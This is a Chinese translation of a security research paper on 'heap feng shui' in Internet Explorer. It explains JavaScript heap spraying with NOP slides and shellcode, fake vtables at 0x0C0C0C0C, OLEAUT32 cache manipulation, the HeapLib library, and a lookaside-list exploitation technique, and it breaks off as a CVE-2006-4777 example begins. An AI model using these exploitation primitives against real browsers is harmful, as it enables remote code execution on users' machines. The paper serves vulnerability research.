Heap Feng Shui in JavaScript
Alexander Sotirov <asotirov@determina.com> 翻譯自:http://www./research/heap-feng-shui/
引言 從Windows XP SP2 開始,Windows 平臺(tái)上的堆破壞漏洞利用已經(jīng)變得越來越困難。以Safe unlinking 和堆cookie 為代表的堆保護(hù)特征已經(jīng)成功阻止大部分一般的堆利用技術(shù)。規(guī)避堆保護(hù)的方法也有,但是它們需要在很大程度上對存在漏洞應(yīng)用程序的分配格式進(jìn)行控制。 文章通過使用JavaScript分配的確切序列介紹了一種對瀏覽器堆分布進(jìn)行精確操縱的新技術(shù)。我們提供了一個(gè)JavaScrip函數(shù)庫用于在觸發(fā)堆破壞bug之前在一個(gè)控制的狀態(tài)下安裝堆。這使我們能以很大的可靠性和精確性利用非常困難的堆破壞漏洞。 我們將集中關(guān)注IE的利用,但是這里提供的通用技術(shù)可能適用于其他瀏覽器或腳本環(huán)境。 以前的工作 最廣泛使用的瀏覽器堆利用技術(shù)是SkyLined為他的IE IFRAME利用而發(fā)明的堆噴射方法。 這種技術(shù)使用JavaScript建立了許多個(gè)包含NOP片和shellcode的字符串。JavaScript運(yùn)行時(shí)存儲(chǔ)了在堆新塊中的每個(gè)字符串的數(shù)據(jù)。堆分配通常從地址空間的起始開始,往上增加。為字符串分配200M內(nèi)存后,在50M和200M之間的任何地址很可能指向NOP 片。用這個(gè)范圍內(nèi)的地址覆寫一個(gè)返回地址或者一個(gè)函數(shù)指針將導(dǎo)致跳向NOP片和shellcode運(yùn)行。 以下的JavaScript代碼解釋這個(gè)技術(shù): var nop = unescape("%u9090%u9090");
// Create a 1MB string of NOP instructions followed by shellcode: // // malloc header string length NOP slide shellcode NULL terminator // 32 bytes 4 bytes x bytes y bytes 2 bytes
while (nop.length <= 0x100000/2) nop += nop;
nop = nop.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2);
var x = new Array();
// Fill 200MB of memory with copies of the NOP slide and shellcode for (var i = 0; i < 200; i++) { x[i] = nop + shellcode; }
這個(gè)技術(shù)的一個(gè)微小變化能夠被用于實(shí)現(xiàn)虛表和對象指針覆寫。如果一個(gè)對象指針用于虛函數(shù)調(diào)用,編譯器將產(chǎn)生與下面相似的代碼: mov ecx, dword ptr [eax] ; get the vtable address push eax ; pass C++ this pointer as the first argument call dword ptr [ecx+08h] ; call the function at offset 0x8 in the vtable
每個(gè)C++對象的前四個(gè)字節(jié)包含一個(gè)指向虛表的指針。要實(shí)現(xiàn)對象指針覆寫,我們需要使用一個(gè)指向擁有偽造虛表的偽造對象的地址,該虛表包含了指向shellcode的指針。在內(nèi)存中安裝這樣的結(jié)構(gòu)并不像看起來那么困難。第一步是為NOP片使用一個(gè)0xC字節(jié)序列,然后用一個(gè)指向這個(gè)片的地址覆寫對象指針。偽造對象開頭的虛表指針將是一個(gè)來自NOP片指向0x0C0C0C0C的雙字。這個(gè)地址的內(nèi)存也包含NOP片的0xC 字節(jié)。偽造的虛表中的虛函數(shù)指針將向后指向 0x0C0C0C0C處的片。調(diào)用對象的任何虛函數(shù)將導(dǎo)致對shellcode的調(diào)用。 間接引用序列如下所示: object pointer -> fake object -> fake vtable -> fake virtual function
addr: xxxx addr: yyyy addr: 0x0C0C0C0C addr: 0x0C0C0C0C data: yyyy data: 0x0C0C0C0C data: +0 0x0C0C0C0C data: nop slide +4 0x0C0C0C0C shellcode +8 0x0C0C0C0C SkyLined的技術(shù)的關(guān)鍵是可以從JavaScript代碼中訪問系統(tǒng)堆。本文將更深地討論這個(gè)思想,探索用JavaScript代碼完全地控制堆的方法。 動(dòng)機(jī) 上面描述的堆噴射技術(shù)驚人的有效,但是單單靠它對于可靠的堆利用是不夠的。這有兩個(gè)原因。 在Windows XP SP2和后來的系統(tǒng)上,通過覆寫堆上的應(yīng)用數(shù)據(jù)而不用破壞內(nèi)部malloc數(shù)據(jù)結(jié)構(gòu)來利用堆破壞漏洞是很容易的。這是因?yàn)槎逊峙淦鲗?span style="font-family:Verdana;">malloc chunk頭和空閑塊雙向鏈表執(zhí)行附加驗(yàn)證,這使標(biāo)準(zhǔn)的堆利用方法無效。結(jié)果,許多利用使用堆噴射技術(shù)將地址空間用shellcode填滿,然后盡最大努力去覆寫堆上的對象和虛表指針。操作系統(tǒng)中的堆保護(hù)沒有擴(kuò)展到儲(chǔ)存在內(nèi)存中的應(yīng)用數(shù)據(jù)。堆的狀態(tài)很難預(yù)測,然而,不能保證覆寫的內(nèi)存總是保存同樣的數(shù)據(jù)。在這種情況下,利用可能會(huì)失敗。 這樣的一個(gè)例子是MSF框架中的ie_webview_setslice 利用。它重復(fù)地觸發(fā)一個(gè)堆破壞漏洞,希望破壞足夠的堆來跳到隨機(jī)的堆內(nèi)存。利用并不總是成功,這也不該是一個(gè)驚喜。 第二個(gè)問題是利用的可靠性與堆噴射所消耗的系統(tǒng)內(nèi)存之間的平衡。如果一個(gè)利用用shellcode填充瀏覽器的整個(gè)地址空間,任何隨機(jī)的跳轉(zhuǎn)都是可利用的。不幸的是,在物理內(nèi)存不足的系統(tǒng)上,堆噴射將會(huì)導(dǎo)致加重使用頁面文件,降低系統(tǒng)性能。如果用戶在堆噴射完成之前關(guān)閉瀏覽器,利用將會(huì)失敗。 本文提供了一個(gè)針對這兩個(gè)問題的解決方案,使可靠并精確的利用成為可能。 IE堆內(nèi)部構(gòu)件 概述 在IE中有三個(gè)主要構(gòu)件分配內(nèi)存,這些內(nèi)存通常被瀏覽器堆漏洞破壞。第一個(gè)是MSHTML.DLL庫,負(fù)責(zé)當(dāng)前顯示頁面上HTML元素的內(nèi)存管理。它負(fù)責(zé)在初始的頁面提供和后續(xù)的DHTML操作中分配內(nèi)存。內(nèi)存分配從默認(rèn)的進(jìn)程堆開始,當(dāng)一個(gè)頁面關(guān)閉或一個(gè)HTML元素銷毀時(shí)內(nèi)存被釋放掉。 管理內(nèi)存的第二個(gè)構(gòu)件是JSCRIPT.DLL中的JavaScript引擎。新JavaScript對象的內(nèi)存是從一個(gè)專用的JavaScript 堆中分配的,字符串作為一個(gè)例外是從默認(rèn)的進(jìn)程堆中分配的。不再引用的對象是由垃圾收集器銷毀的,當(dāng)整個(gè)內(nèi)存消耗或者對象數(shù)目超過一個(gè)確定的閾值時(shí),該垃圾收集器開始運(yùn)行。也可以通過調(diào)用CollectGarbage()函數(shù)來明確地觸發(fā)垃圾收集器。 在大部分瀏覽器攻擊利用中最后一個(gè)組件是引起堆破壞的ActiveX控件。一些ActiveX控件使用專用的堆,但是大部分在默認(rèn)進(jìn)程堆上分配和破壞內(nèi)存。 一個(gè)重要的發(fā)現(xiàn)是IE的所有這三個(gè)組件使用一樣的默認(rèn)進(jìn)程堆。這意味著使用JavaScript分配和釋放內(nèi)存改變了MSHTML和ActiveX控件使用的堆布局,一個(gè)ActiveX控件中的堆破壞bug能夠用來覆寫由其他兩個(gè)瀏覽器組件分配的內(nèi)存。 JavaScript字符串 JavaScript引擎用MSVCRT 的malloc() 和new()函數(shù)通過使用一個(gè)在CRT初始化過程中建立的提交堆分配大部分內(nèi)存。一個(gè)重要的例外是JavaScript 字符串?dāng)?shù)據(jù),它們作為BSTR字符串存儲(chǔ),這是一種由COM接口使用的基本字符串類型。它們的內(nèi)存由OLEAUT32.DLL中的SysAllocString函數(shù)家族從默認(rèn)進(jìn)程堆中分配。 這里是一個(gè)典型的JavaScript字符串分配追蹤: ChildEBP RetAddr Args to Child 0013d26c 77124b52 77606034 00002000 00037f48 ntdll!RtlAllocateHeap+0xeac 0013d280 77124c7f 00002000 00000000 0013d2a8 OLEAUT32!APP_DATA::AllocCachedMem+0x4f 0013d290 75c61dd0 00000000 00184350 00000000 OLEAUT32!SysAllocStringByteLen+0x2e 0013d2a8 75caa763 00001ffa 0013d660 00037090 jscript!PvarAllocBstrByteLen+0x2e 0013d31c 75caa810 00037940 00038178 0013d660 jscript!JsStrSubstrCore+0x17a 0013d33c 75c6212e 00037940 0013d4a8 0013d660 jscript!JsStrSubstr+0x1b 0013d374 75c558e1 0013d660 00000002 00038988 jscript!NatFncObj::Call+0x41 0013d408 75c5586e 00037940 00000000 00000003 jscript!NameTbl::InvokeInternal+0x218 0013d434 75c62296 00037940 00000000 00000003 jscript!VAR::InvokeByDispID+0xd4 0013d478 75c556c5 00037940 0013d498 00000003 jscript!VAR::InvokeByName+0x164 0013d4b8 75c54468 00037940 00000003 0013d660 jscript!VAR::InvokeDispName+0x43 0013d4dc 75c54d1a 00037940 00000000 00000003 jscript!VAR::InvokeByDispID+0xfb 0013d6d0 75c544fa 0013da80 00000000 0013d7ec jscript!CScriptRuntime::Run+0x18fb 要在堆上分配一個(gè)新字符串,我們需要建立一個(gè)新的JavaScript 字符串對象。我們不能簡單地逐字地分配字符串給一個(gè)新變量,因?yàn)檫@不會(huì)建立一個(gè)字符串?dāng)?shù)據(jù)副本。相反,我們需要合并兩個(gè)字符串或者使用substr函數(shù)。例如: var str1 = "AAAAAAAAAAAAAAAAAAAA"; // doesn't allocate a new string var str2 = str1.substr(0, 10); // allocates a new 10 character string var str3 = str1 + str2; // allocates a new 30 character string BSTR字符串在內(nèi)存中作為一個(gè)包含四字節(jié)尺寸域的結(jié)構(gòu)存儲(chǔ),后面緊跟著作為16位寬的字符的字符串?dāng)?shù)據(jù)和一個(gè)16位的null結(jié)束符。上面例子中的str1字符串在內(nèi)存中有如下表示: string size | string data | null terminator 4 bytes | length / 2 bytes | 2 bytes | | 14 00 00 00 | 41 00 41 00 41 00 41 00 41 00 41 00 41 00 41 00 41 00 41 00 | 00 00 我們可以使用以下兩個(gè)公式來計(jì)算為一個(gè)字符串分配多少字節(jié),或者對于分配一個(gè)確定數(shù)目的字節(jié)一個(gè)字符得多長: bytes = len * 2 + 6 len = (bytes - 6) / 2
字符串存儲(chǔ)的方式允許我們寫一個(gè)函數(shù)通過分配一個(gè)新字符串來分配任意尺寸的內(nèi)存塊。代碼使用len=(bytes-6)/2公式計(jì)算所需的字符串長度,調(diào)用substr分配一個(gè)該長度的新字符串。字符串包含從填充字符串拷貝的數(shù)據(jù)。如果我們想把指定的數(shù)據(jù)放到新的內(nèi)存塊中,我們只需要事先用它初始化填充字符串。 // Build a long string with padding data
padding = "AAAA"
while (padding.length < MAX_ALLOCATION_LENGTH) padding = padding + padding;
// Allocate a memory block of a specified size in bytes
function alloc(bytes) { return padding.substr(0, (bytes-6)/2); }
垃圾回收
為了操縱瀏覽器堆布局,能夠分配一個(gè)任意尺寸的內(nèi)存塊是不夠的,我么也需要找到釋放它的辦法。JavaScript運(yùn)行時(shí)使用一個(gè)簡單的標(biāo)記和清理垃圾回收器,關(guān)于它的最詳細(xì)的描述在Eric Lippert發(fā)布的博客里。 垃圾回收可以由各種啟發(fā)探索來觸發(fā),比如最近一次運(yùn)行以來建立的對象數(shù)。標(biāo)記和清理算法識(shí)別出JavaScript運(yùn)行時(shí)中所有未引用的對象,然后銷毀它們。當(dāng)一個(gè)字符串對象被銷毀時(shí),通過調(diào)用OLEAUT32.DLL中的SysFreeString函數(shù)釋放這個(gè)對象的數(shù)據(jù)。這是一個(gè)來自垃圾回收器的追蹤。 ChildEBP RetAddr Args to Child 0013d324 774fd004 00150000 00000000 001bae28 ntdll!RtlFreeHeap 0013d338 77124ac8 77606034 001bae28 00000008 ole32!CRetailMalloc_Free+0x1c 0013d358 77124885 00000006 00008000 00037f48 OLEAUT32!APP_DATA::FreeCachedMem+0xa0 0013d36c 77124ae3 02a8004c 00037cc8 00037f48 OLEAUT32!SysFreeString+0x56 0013d380 75c60f15 00037f48 00037f48 75c61347 OLEAUT32!VariantClear+0xbb 0013d38c 75c61347 00037cc8 000378a0 00036d40 jscript!VAR::Clear+0x5d 0013d3b0 75c60eba 000378b0 00000000 000378a0 jscript!GcAlloc::ReclaimGarbage+0x65 0013d3cc 75c61273 00000002 0013d40c 00037c10 jscript!GcContext::Reclaim+0x98 0013d3e0 75c99a27 75c6212e 00037940 0013d474 jscript!GcContext::Collect+0xa5 0013d3e4 75c6212e 00037940 0013d474 0013d40c jscript!JsCollectGarbage+0x10
為了釋放我們已經(jīng)分配的一個(gè)字符串,我們需要?jiǎng)h除所有對它的引用并運(yùn)行垃圾回收器。幸運(yùn)的是,我們不必等待一個(gè)啟發(fā)探索來觸發(fā)它,因?yàn)?/span>Internet Explorer中的JavaScript實(shí)現(xiàn)提供了一個(gè)能使垃圾回收器立即運(yùn)行的CollectGarbage() 函數(shù)。該函數(shù)的用法如以下代碼所展示: var str;
// We need to do the allocation and free in a function scope, otherwise the // garbage collector will not free the string.
function alloc_str(bytes) { str = padding.substr(0, (bytes-6)/2); }
function free_str() { str = null; CollectGarbage(); }
alloc_str(0x10000); // allocate memory block free_str(); // free memory block
上面的代碼分配了64KB的內(nèi)存塊,并釋放了它,演示了我們在默認(rèn)的進(jìn)程堆上執(zhí)行任意的分配和釋放的能力。我們能釋放那些僅僅由我們分配的塊,但是即使在這個(gè)限制下,我們?nèi)匀豢梢詫Χ逊植加懈叨鹊目刂啤?/span> OLEAUT32內(nèi)存分配器 很不幸,調(diào)用SysAllocString并不能總是導(dǎo)致從系統(tǒng)堆上分配內(nèi)存已經(jīng)被證明。分配和釋放BSTR字符串的函數(shù)使用了一個(gè)在OLEAUT32中的APP_DATA類中實(shí)現(xiàn)的自定義內(nèi)存分配器。這個(gè)內(nèi)存分配器維持了一個(gè)釋放過的內(nèi)存塊的高速緩存,在以后的分配中再次使用它們。這有點(diǎn)像系統(tǒng)內(nèi)存分配器維持的快表列表。 高速緩沖由4個(gè)容器組成,每個(gè)容器保持了6個(gè)確定尺寸范圍的塊。當(dāng)每個(gè)塊使用由APP_DATA::FreeCachedMem() 函數(shù)釋放時(shí),這個(gè)塊存儲(chǔ)在其中一個(gè)容器中。當(dāng)一個(gè)容器充滿了,容器中最小的塊使用HeapFree()函數(shù)釋放掉,并由新的塊代替。大于32767字節(jié)的塊不會(huì)緩存,總是被直接釋放掉。 當(dāng)調(diào)用APP_DATA::AllocCachedMem()函數(shù)分配內(nèi)存時(shí),它會(huì)在合適尺寸的容器中尋找一個(gè)空閑快。如果一個(gè)足夠大的塊被找到,它會(huì)從高速緩存中移出,返回給調(diào)用者。否則該函數(shù)使用HeapAlloc()分配新的內(nèi)存。 內(nèi)存分配器的反編譯代碼如下所示: // Each entry in the cache has a size and a pointer to the free block
struct CacheEntry { unsigned int size; void* ptr; }
// The cache consists of 4 bins, each holding 6 blocks of a certain size range
class APP_DATA { CacheEntry bin_1_32 [6]; // blocks from 1 to 32 bytes CacheEntry bin_33_64 [6]; // blocks from 33 to 64 bytes CacheEntry bin_65_256 [6]; // blocks from 65 to 265 bytes CacheEntry bin_257_32768[6]; // blocks from 257 to 32768 bytes
void* AllocCachedMem(unsigned long size); // alloc function void FreeCachedMem(void* ptr); // free function };
// // Allocate memory, reusing the blocks from the cache //
void* APP_DATA::AllocCachedMem(unsigned long size) { CacheEntry* bin; int i;
if (g_fDebNoCache == TRUE) goto system_alloc; // Use HeapAlloc if caching is disabled
// Find the right cache bin for the block size
if (size > 256) bin = &this->bin_257_32768; else if (size > 64) bin = &this->bin_65_256; else if (size > 32) bin = &this->bin_33_64; else bin = &this->bin_1_32;
// Iterate through all entries in the bin
for (i = 0; i < 6; i++) {
// If the cached block is big enough, use it for this allocation
if (bin[i].size >= size) { bin[i].size = 0; // Size 0 means the cache entry is unused return bin[i]NaNr; } }
system_alloc:
// Allocate memory using the system memory allocator return HeapAlloc(GetProcessHeap(), 0, size); }
// // Free memory and keep freed blocks in the cache //
void APP_DATA::FreeCachedMem(void* ptr) { CacheEntry* bin; CacheEntry* entry; unsigned int min_size; int i;
if (g_fDebNoCache == TRUE) goto system_free; // Use HeapFree if caching is disabled
// Get the size of the block we're freeing size = HeapSize(GetProcessHeap(), 0, ptr);
// Find the right cache bin for the size
if (size > 32768) goto system_free; // Use HeapFree for large blocks else if (size > 256) bin = &this->bin_257_32768; else if (size > 64) bin = &this->bin_65_256; else if (size > 32) bin = &this->bin_33_64; else bin = &this->bin_1_32;
// Iterate through all entries in the bin and find the smallest one
min_size = size; entry = NULL;
for (i = 0; i < 6; i++) {
// If we find an unused cache entry, put the block there and return
if (bin[i].size == 0) { bin[i].size = size; bin[i]NaNr = ptr; // The free block is now in the cache return; }
// If the block we're freeing is already in the cache, abort
if (bin[i]NaNr == ptr) return;
// Find the smallest cache entry
if (bin[i].size < min_size) { min_size = bin[i].size; entry = &bin[i]; } }
// If the smallest cache entry is smaller than our block, free the cached // block with HeapFree and replace it with the new block
if (min_size < size) { HeapFree(GetProcessHeap(), 0, entry->ptr); entry->size = size; entry->ptr = ptr; return; }
system_free:
// Free the block using the system memory allocator return HeapFree(GetProcessHeap(), 0, ptr); }
APP_DATA內(nèi)存分配器使用的緩存算法介紹了一個(gè)問題,因?yàn)橹挥形覀兎峙浜歪尫挪僮鞯囊徊糠謺?huì)調(diào)用系統(tǒng)分配器。 活塞技術(shù) 為了保證每個(gè)字符串分配都來自系統(tǒng)堆,對于每個(gè)容器我們需要分配6個(gè)最大尺寸的塊。因?yàn)榫彺嬖诿總€(gè)容器中只保存6個(gè)塊,這會(huì)確保所有的緩存容器都是空的。下一個(gè)字符串分配保證能夠調(diào)用HeapAlloc()。 如果我們釋放剛剛分配的字符串,它將會(huì)進(jìn)入其中一個(gè)緩存容器。我們可以通過釋放在前面步驟中分配的6個(gè)最大尺寸的塊,把它刷出緩存。FreeCachedMem()函數(shù)將會(huì)把所有較小的塊清出緩存,我們的字符串將會(huì)使用HeapFree()釋放掉。在這個(gè)點(diǎn),緩存會(huì)充滿,我們需要通過為每個(gè)容器分配6個(gè)最大尺寸的塊再次使它清空。 實(shí)際上,我們使用6個(gè)塊作為活塞把所有的小塊清出緩存,然后再次通過分配6個(gè)塊把活塞拉出。 下面的代碼展示了活塞技術(shù)的一種實(shí)現(xiàn)。 plunger = new Array();
// This function flushes out all blocks in the cache and leaves it empty
function flushCache() {
// Free all blocks in the plunger array to push all smaller blocks out
plunger = null; CollectGarbage();
// Allocate 6 maximum size blocks from each bin and leave the cache empty
plunger = new Array();
for (i = 0; i < 6; i++) { plunger.push(alloc(32)); plunger.push(alloc(64)); plunger.push(alloc(256)); plunger.push(alloc(32768)); } }
flushCache(); // Flush the cache before doing any allocations
alloc_str(0x200); // Allocate the string
free_str(); // Free the string and flush the cache flushCache(); 為了把一個(gè)塊清除出緩存并使用HeapFree()釋放掉該塊,它必須比它所在容器的最大尺寸要小。否則,FreeCachedMem函數(shù)中的條件min_size < size不會(huì)滿足,相反活塞塊會(huì)被釋放。這意味著我們不能釋放掉 32, 64, 256 或 32768字節(jié)尺寸的塊,但是這不是一個(gè)嚴(yán)格的限制。
HeapLib - JavaScript 堆操作庫 我們在一個(gè)叫做HeapLi的 JavaScript 庫中實(shí)現(xiàn)了前面部分描述的概念。它提供了alloc() 和free()函數(shù),該函數(shù)除了許多高度的堆操作例程外,還直接映射到系統(tǒng)分配器的調(diào)用。
HeapLib庫的Hello World
使用HeapLib庫的最基本的程序如下所示: <script type="text/javascript" src="heapLib.js"></script>
<script type="text/javascript">
// Create a heapLib object for Internet Explorer var heap = new heapLib.ie();
heap.gc(); // Run the garbage collector before doing any allocations
// Allocate 512 bytes of memory and fill it with padding heap.alloc(512);
// Allocate a new block of memory for the string "AAAAA" and tag the block with "foo" heap.alloc("AAAAA", "foo");
// Free all blocks tagged with "foo" heap.free("foo"); </script> 這個(gè)程序分配了16個(gè)字節(jié)的內(nèi)存塊,并把字符串"AAAAA" 拷進(jìn)去。這個(gè)塊使用標(biāo)志"foo"標(biāo)記,這個(gè)標(biāo)志后來用作free()的一個(gè)參數(shù)。free()函數(shù)釋放掉所有使用這個(gè)標(biāo)志標(biāo)記過的內(nèi)存塊。 在堆上的效果方面, Hello World程序等同于以下C代碼: block1 = HeapAlloc(GetProcessHeap(), 0, 512); block2 = HeapAlloc(GetProcessHeap(), 0, 16); HeapFree(GetProcessHeap(), 0, block2); 調(diào)試 HeapLib 提供了大量函數(shù)用于調(diào)試庫、檢驗(yàn)堆上的效果。這是闡述調(diào)試功能小例子: heap.debug("Hello!"); // output a debugging message heap.debugHeap(true); // enable tracing of heap allocations heap.alloc(128, "foo"); heap.debugBreak(); // break in WinDbg heap.free("foo"); heap.debugHeap(false); // disable tracing of heap allocations 為了看到調(diào)試輸出,用WinDbg 附加到IEXPLORE.EXE進(jìn)程,設(shè)置以下斷點(diǎn): bc *
bu 7c9106eb "j (poi(esp+4)==0x150000) '.printf \"alloc(0x%x) = 0x%x\", poi(esp+c), eax; .echo; g'; 'g';" bu ntdll!RtlFreeHeap "j ((poi(esp+4)==0x150000) & (poi(esp+c)!=0)) '.printf \"free(0x%x), size=0x%x\", poi(esp+c), wo(poi(esp+c)-8)*8-8; .echo; g'; 'g';" bu jscript!JsAtan2 "j (poi(poi(esp+14)+18) == babe) '.printf \"DEBUG: %mu\", poi(poi(poi(esp+14)+8)+8); .echo; g';" bu jscript!JsAtan "j (poi(poi(esp+14)+8) == babe) '.echo DEBUG: Enabling heap breakpoints; be 0 1; g';" bu jscript!JsAsin "j (poi(poi(esp+14)+8) == babe) '.echo DEBUG: Disabling heap breakpoints; bd 0 1; g';" bu jscript!JsAcos "j (poi(poi(esp+14)+8) == babe) '.echo DEBUG: heapLib breakpoint'" bd 0 1 g 第一個(gè)斷點(diǎn)位于ntdll!RtlAllocateHeap的RET指令。上面地址對于Windows XP SP2有效,但是對于其他系統(tǒng)可能需要調(diào)整。斷點(diǎn)也假定默認(rèn)的進(jìn)程堆位于0x150000。WinDbg的uf和!peb命令提供了這些地址。 0:012> uf ntdll!RtlAllocateHeap ... ntdll!RtlAllocateHeap+0xea7: 7c9106e6 e817e7ffff call ntdll!_SEH_epilog (7c90ee02)7c9106eb c20c00 ret 0Ch
0:012> !peb PEB at 7ffdf000 ... ProcessHeap: 00150000 設(shè)置這些斷點(diǎn)后,運(yùn)行上面的樣本代碼將會(huì)在WinDbg中顯示如下調(diào)試輸出: DEBUG: Hello! DEBUG: Enabling heap breakpoints alloc(0x80) = 0x1e0b48 DEBUG: heapLib breakpoint eax=00000001 ebx=0003e660 ecx=0003e67c edx=00038620 esi=0003e660 edi=0013dc90 eip=75ca315f esp=0013dc6c ebp=0013dca0 iopl=0 nv up ei ng nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000296 jscript!JsAcos: 75ca315f 8bff mov edi,edi 0:000> g DEBUG: Flushing the OLEAUT32 cache free(0x1e0b48), size=0x80 DEBUG: Disabling heap breakpoints 我們可以看到alloc()函數(shù)在地址0x1e0b48處分配了 0x80字節(jié)的內(nèi)存,該內(nèi)存后來被free()釋放掉。示例程序通過調(diào)用HeapLib中的debugBreak()函數(shù)在WinDbg中也觸發(fā)了斷點(diǎn)。函數(shù)作為使用一個(gè)特殊參數(shù)對JavaScript acos()進(jìn)行調(diào)用來實(shí)現(xiàn),這會(huì)觸發(fā)jscript!JsAcos上的WinDbg斷點(diǎn)。這使我們有機(jī)會(huì)在繼續(xù)JavaScript執(zhí)行前觀察堆的狀態(tài)。 功能函數(shù) 該庫也提供函數(shù)來操作在攻擊利用中使用的數(shù)據(jù)。這里是一個(gè)使用addr()和padding()函數(shù)準(zhǔn)備一個(gè)偽造虛表塊的例子。 var vtable = ""; for (var i = 0; i < 100; i++) { // Add 100 copies of the address 0x0C0C0C0C to the vtable vtable = vtable + heap.addr(0x0C0C0C0C); }
// Pad the vtable with "A" characters to make the block size exactly 1008 bytes vtable = vtable + heap.padding((1008 - (vtable.length*2+6))/2); 要了解得更詳細(xì),看下一部分的函數(shù)描述。
HeapLib引用
面向?qū)ο蠼涌?/span>
HeapLib API作為面向?qū)ο蠼涌趯?shí)現(xiàn)。要在IE中使用API,創(chuàng)建一個(gè)heapLib.ie類實(shí)例。
下面描述的所有函數(shù)是heapLib.ie類的實(shí)例方法。 調(diào)試 要看調(diào)試輸出,附件WinDbg 到IEXPLORE.EXE進(jìn)程,設(shè)置上面描述的斷點(diǎn)。如果調(diào)試器不存在,下面的函數(shù)無效。
功能函數(shù)
內(nèi)存分配
堆操作 下列函數(shù)用于操作windows 2000,xp ,2003中內(nèi)存分配器的數(shù)據(jù)結(jié)構(gòu)。因?yàn)?span style="font-family:none;">vista的重要不同,Windows vista中的堆分配器不支持。
使用HeapLib 堆的碎片整理 對于利用來說,堆碎片是一個(gè)嚴(yán)重的問題。如果堆開始是空的,堆分配器的決定允許我們計(jì)算來自指定順序分配的堆的狀態(tài)。很不幸,當(dāng)我們的利用執(zhí)行時(shí),我們不知道堆的狀態(tài),這使得堆分配器的行為不可預(yù)測。 為了解決這個(gè)問題,我們需要對堆進(jìn)行碎片整理。這可以通過分配大量我們的利用所用尺寸的塊實(shí)現(xiàn)。這些塊將填充堆上所有可能的洞,并確保后續(xù)的同樣大小塊的分配是從堆的最后開始分配的。在這一點(diǎn)上,分配器的行為等同于開始于一個(gè)空堆。 以下代碼將使用0x2010字節(jié)的塊對堆進(jìn)行碎片整理。 for (var i = 0; i < 1000; i++) heap.alloc(0x2010); 把塊放在空表上 假定我們有一塊代碼從堆上分配了一塊內(nèi)存,沒有初始化就使用該內(nèi)存。如果我們控制了堆中的數(shù)據(jù),我們將能夠利用這個(gè)漏洞。我們需要分配一個(gè)同樣大小的塊,使用我們的數(shù)據(jù)填充,然后釋放掉。下次分配這個(gè)尺寸將得到包含我們數(shù)據(jù)的塊。 唯一的障礙是系統(tǒng)內(nèi)存分配器中的合并算法。如果我們正在釋放的塊緊靠著另一個(gè)空塊,它們將合并成一個(gè)更大的塊。下一次分配將不會(huì)得到包含我們數(shù)據(jù)的塊。為阻止這個(gè),我們需要分配三個(gè)同樣尺寸的塊,然后釋放掉中間的那個(gè)塊,提前對堆進(jìn)行碎片整理將保證三個(gè)塊是連續(xù)的,中間的塊不會(huì)合并。 heap.alloc(0x2020); // allocate three consecutive blocks heap.alloc(0x2020, "freeList"); heap.alloc(0x2020);
heap.free("freeList"); // free the middle block HeapLib庫提供了一個(gè)方便的函數(shù)來實(shí)現(xiàn)上面描述的技術(shù)。下面的例子展示了怎樣增加 0x2020 字節(jié)的塊到空表上。 heap.freeList(0x2020); 清空快表 為了清空確定大小的快表,我們只需要分配足夠該大小的塊。通常,快表包含僅有的4個(gè)塊,但是我們已經(jīng)在Windows XP SP2看到了更多項(xiàng)的塊表。為了確保,我們分配100個(gè)塊。下列代碼展示了這個(gè): for (var i = 0; i < 100; i++) heap.alloc(0x100); 釋放到快表 一旦快表空了,任何正確尺寸的塊當(dāng)釋放掉都會(huì)放在快表上。 // Empty the lookaside for (var i = 0; i < 100; i++) heap.alloc(0x100);
// Allocate a block heap.alloc(0x100, "foo");
// Free it to the lookaside heap.free("foo"); HeapLib中的 lookaside()函數(shù)實(shí)現(xiàn)了這個(gè)技術(shù): // Empty the lookaside for (var i = 0; i < 100; i++) heap.alloc(0x100);
// Add 3 blocks to the lookaside heap.lookaside(0x100); 使用快表利用對象指針 跟蹤當(dāng)一個(gè)塊放在快表上時(shí)會(huì)發(fā)生什么是很有意思的。讓我從一個(gè)空的快表開始。如果堆的基地址是0x150000,對于大小是1008的塊的快表頭的地址是0x151e58。因?yàn)榭毂硎强盏?,這個(gè)位置將包含一個(gè)空指針。 現(xiàn)在讓我們釋放掉一個(gè)1008字節(jié)的塊。在0x151e58處的快表頭將會(huì)指向它。該塊的前四個(gè)字節(jié)將會(huì)被覆寫成NULL,指示鏈表的結(jié)尾。內(nèi)存中的結(jié)構(gòu)看起來就像我們利用覆寫的對象指針?biāo)枰模?/span> object pointer --> lookaside --> freed block (fake object) (fake vtable)
addr: xxxx addr: 0x151e58 addr: yyyy data: 0x151e58 data: yyyy data: +0 NULL +4 function pointer +8 function pointer ... 如果我們用0x151e58覆寫一個(gè)對象指針,釋放一個(gè) 1008字節(jié)的包含一個(gè)偽造虛表的塊,貫穿虛表的任何虛函數(shù)調(diào)用將跳到我們選擇的位置。偽造的虛表可以使用HeapLib庫中的vtable()函數(shù)創(chuàng)建,它把shellcode 字符串和jmp ecx跳板地址作為參數(shù),用下列數(shù)據(jù)分配了1008字節(jié)的塊。
string length jmp +124 addr of jmp ecx sub [eax], al*2 shellcode null terminator 4 bytes 4 bytes 124 bytes 4 bytes x bytes 2 bytes
調(diào)用者應(yīng)釋放虛表到快表,用快表頭的地址覆寫對象指針。設(shè)置對象指針在eax,虛表地址在ecx,偽造的虛表設(shè)計(jì)用于利用虛函數(shù)調(diào)用。 mov ecx, dword ptr [eax] ; get the vtable address push eax ; pass C++ this pointer as the first argument call dword ptr [ecx+08h] ; call the function at offset 0x8 in the vtable 任何從ecx+8到 ecx+0x80 的虛函數(shù)調(diào)用會(huì)導(dǎo)致調(diào)用jmp ecx 跳板。因?yàn)閑cx指向虛表,跳板將會(huì)跳回到內(nèi)存塊的開頭。它的前四個(gè)字節(jié)包含了正在使用的字符串的長度,但是當(dāng)它釋放到快表,它們被NULL覆寫(指示鏈表的結(jié)尾)。四個(gè)0字節(jié)作為兩個(gè)add[eax],al指令執(zhí)行。執(zhí)行流程到達(dá)jmp +124指令,該指令跳過函數(shù)指針,停到虛表中偏移132的兩個(gè)sub[eax],al指令。這兩個(gè)指令修復(fù)了前面sub指令破壞的內(nèi)存,最終shellcode執(zhí)行。(虛函數(shù)加快表攻擊) 使用HeapLib利用堆漏洞 DirectAnimation.PathControl KeyFrame漏洞 作為我們的第一個(gè)例子,我們將使用DirectAnimation.PathControl ActiveX控件中的整數(shù)溢出漏洞 (CVE-2006-4777)。這個(gè)漏洞通過建立一個(gè)ActiveX對象,使用一個(gè)大于0x07ffffff的參數(shù)調(diào)用它的KeyFrame()方法觸發(fā)。 